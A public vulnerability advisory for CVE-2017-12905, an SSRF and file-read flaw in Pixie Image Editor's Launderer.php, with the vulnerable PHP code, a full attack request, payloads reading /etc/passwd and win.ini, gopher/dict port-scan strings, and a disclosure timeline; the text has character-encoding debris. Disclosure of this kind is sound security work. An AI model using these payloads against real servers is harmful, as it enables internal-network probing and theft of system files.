Pixie image Editor SSRF vulnerability for CVE-2017-12905
title: Pixie image Editor SSRF vulnerability for CVE-2017-12905
Date: 20/09/2017
Vulnerability TypePSo SSRF(Server Side Request Forgery)
Vendor of ProductPSo vebtoPS"vebto.comPS(c)
Attack TypePSo Remote
ImpactPSo Importent
AuthorPSoBeiJing Baimaohui technology co., LTD.
VersionPSo Pixie Image Editor 1.4 and 1.7
CVE-ID : CVE-2017-12905
==========Detail==========
I found "Pixie Image Editor" a vulnerabilityPS!this vulnerability allow remote attacks to arbitrary files readPS!scan network portPS!information detection,attack internal network vulnerable!-s serverPS!may even cause a remote command
execution.
In the `Launderer.php` file did not send to the POST of the url parameter to filter is introduced into the curl_exec or file_get_contents, resulting in SSRF holes or arbitrary files read.
Flaws in the codePSo
if (isset($_POST['url'])) {
$url = $_POST['url'];
$mime = pathinfo($url, PATHINFO_EXTENSION);
if (function_exists('curl_version')) {
$handle = curl_init();
curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($handle, CURLOPT_SSL_VERIFYPEER, false);
$data = curl_exec($handle);
curl_close($handle);
} else {
$data = file_get_contents($url);
}
$imageData = base64_encode($data);
$formatted = 'data: '.$mime.';base64,'.$imageData;
echo $formatted;
}
I've been tested success of "Pixie Image Editor" 1.4 and 1.7 version.
==========Attack vector==========
POST /pixie/launderer.php HTTP/1.1
Host: 127.0.0.1:8989
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Connection: close
Upgrade-Insecure-Requests: 1
url=file:///c:/windows/win.ini
modify the above url parameterPS!examplePS!file:
request http protocol: url=http://123.test.clogs.ml
request https protocol: url=https://www.google.com
request ftp protocol: url=ftp://123.test.clogs.ml
file readPSourl=file:///etc/passwd or url=file:///c:/windows/win.ini
If the curl correlation function is available,then use gopher!C/tftp!C/http!C/https!C/dict!C/ldap!C/file!C/imap!C/pop3!C/smtp!C/telnet protocols methodPS!if not then only use http!C/https!C/ftp protocol
scan prot,example: url=dict://127.0.0.1:3306
use gopher protocol: url=gopher://127.0.0.1:3306
this vulnerability trigger need allow_url_fopen option is enable in php.iniPS!allow_url_fopen option defualt is enable.
==========Timeline==========
2017-08-17 Found Pixie editor's vulnerability.
2017-08-18 Submit vulnerability information to Vendor.
2017-08-18 Submit CVE-ID request
2017-09-20 Vendor no response, Public vulnerability information
Best wishes!
BeiJing Baimaohui technology co., LTD.
http://www.baimaohui.net & https://www.fofa.so
service@baimaohui.net
